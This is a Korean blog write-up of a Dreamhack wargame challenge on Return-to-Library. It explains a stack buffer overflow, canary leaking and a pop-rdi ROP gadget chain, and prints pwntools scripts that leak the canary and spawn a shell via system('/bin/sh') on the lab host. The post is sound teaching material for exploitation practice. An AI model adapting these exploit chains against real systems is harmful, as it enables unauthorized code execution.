참고
- rtl 원리
4. Return to Library (RTL)
Shayete입니다. 4번째 시간에는 최신환경의 우분투에서 Return to library 기법을 학습하겠습니다. Return to Libc 기법은 말 그대로, 라이브러리의 함수로 리턴해서 그 함수를 실행할 수 있습니다. 가령,
shayete.tistory.com
- return gadget 원리
return gadget 원리
아래와 같이 stack 을 쌓으면 어떻게 function(param #1) 이 실행되는 것일까요? RBP 를 깨먹었기 때문에 그 이전 호출한 함수로는 못갈것이고, RBP+8 값으로…
dreamhack.io
Return to Library
Description Exploit Tech: Return to Library에서 실습하는 문제입니다.
dreamhack.io
문제 + 취약점 분석
실행 결과
[1]번 단계에서 Canary를 알아내고
[2]번 단계에서 ret를 덮어 씌우는 문제이다.
하지만 NX가 걸려있어 버퍼에 직접 주입한 셸코드는 실행할 수 없다.
그래도 BOF에 의해 ret address를 덮어씌우는 것은 가능하므로 실행 가능한 영역으로 반환 주소를 덮어씌우면 된다.
소스코드를 분석해보면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
|
cs |
- binsh: “/bin/sh” 경로를 전역변수로 설정함과 동시에 초기화해주었으므로 데이터 섹션에 저장된다. 이는 ASLR이 적용되어도 코드 세그먼트와 데이터 세그먼트 영역의 주소는 고정되므로 “/bin/sh”의 주소는 고정되게 된다.
- system(): PLT에 system 함수를 추가하기 위해 작성된 코드이다.
- buf의 사이즈는 0x30이지만, read를 통해 읽는 크기는 0x100이므로 BOF를 발생시킬 수 있다.
canary 값을 얻었다는 가정 하에 삽입할 코드를 알아야한다.
먼저 내가 알고 있는 값은 system함수의 plt 주소, /bin/sh의 주소 이므로
system(”/bin/sh”)를 실행할 수 있도록 조작하면 된다.
이는 x86-64 아키텍처에서 rdi에 “/bin/sh”를 넣은 이후 system함수를 호출하는 것과 같으므로 “/bin/sh”의 주소를 rdi에 넣으면 된다.
이를 위해 리턴가젯을 활용하는데,
리턴 가젯이란 ret로 끝나는 어셈블리 코드조각이다.
이런 식으로 ret로 끝나는 어셈블리 코드의 주소가 나오는데,
여기서 알아야 할 코드는 pop rdi; ret 코드이다.
1
2
3
4
|
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
|
cs |
pop rdi를 함으로써 rdi의 값을 비워주고
ret를 실행함으로써 next instruction을 실행한다.
이후 /bin/sh를 rdi에 넣어주고
system 주소까지 넣어주면
rdi에 /bin/sh가 들어가고
system(”/bin/sh”)가 실행되게 된다.
Exploit
그럼 exploit을 하기 위해 필요한 정보를 먼저 구해보면
regular expression을 통해 pop rdi가 포함된 리턴 가젯을 얻어왔다.
이후 /bin/sh의 주소도 얻어오고,
system 함수의 주소도 얻었다.
이후 해당 주소를 이용하여 코드를 작성해주면 된다.
먼저 canary를 얻는 코드이다.
해당 코드는 앞서 짰던 코드와 별반 다를 것이 없다.
먼저 확보된 stack영역을 파악해보면,
rbp - 0x40 만큼 공간이 확보된 것을 알 수 있고, rbp - 0x8 부분에 canary가 있으므로
총 0x38 + 1 만큼을 채워주면 남은 7바이트의 canary를 얻을 수 있다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
p = remote("host3.dreamhack.games", 21478)
buf = "A" * 0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64("\x00" + p.recvn(7))
canary = hex(canary)
print(canary)
|
cs |
위의 코드를 실행하면
원하는 카나리를 얻을 수 있다.
이제 앞서 구한 주소들을 모아 페이로드를 작성해보면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
p = remote("host3.dreamhack.games", 21478)
buf = "A" * 0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64("\x00" + p.recvn(7))
canary = hex(canary)
print(canary)
pop_rdi = 0x0000000000400853
bin_sh = 0x400874
system_plt = 0x4005d0
payload = "A" * 0x39
payload += p64(int(canary, 16))
payload += "A" * 0x8 # rbp 덮기
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
|
cs |
위와 같다.
하지만 해당 코드를 실행하면 작동하지 않는 것을 볼 수 있는데,
이는 system 함수 내부의 movaps 명령어 때문이라고 한다.
movaps 명령어는 system 함수로 rip가 이동할 때 반드시 stack의 단위가 0x10으로 정렬되어 있지 않으면 seg fault를 발생시킨다.
그렇기에 아무 의미 없는 리턴 가젯을 추가해주어야한다.
그래서 페이로드를 다시 작성해보면 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
p = remote("host3.dreamhack.games", 21478)
buf = "A" * 0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64("\x00" + p.recvn(7))
canary = hex(canary)
print(canary)
pop_rdi = 0x0000000000400853
bin_sh = 0x400874
system_plt = 0x4005d0
ret = 0x0000000000400285
payload = "A" * 0x39
payload += p64(int(canary, 16))
payload += "A" * 0x8 # rbp 덮기
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
|
cs |
위의 코드를 도식화 하면 아래와 같이 그릴 수 있다.
그렇기에 ret를 넣어주어야 rbp + 0x20이 되므로 system 함수를 실행할 수 있다.
'Hacking > system' 카테고리의 다른 글
Return Oriented Programming (0) | 2024.01.18 |
---|---|
ssp_001 (0) | 2024.01.18 |
Return to Shellcode (0) | 2024.01.18 |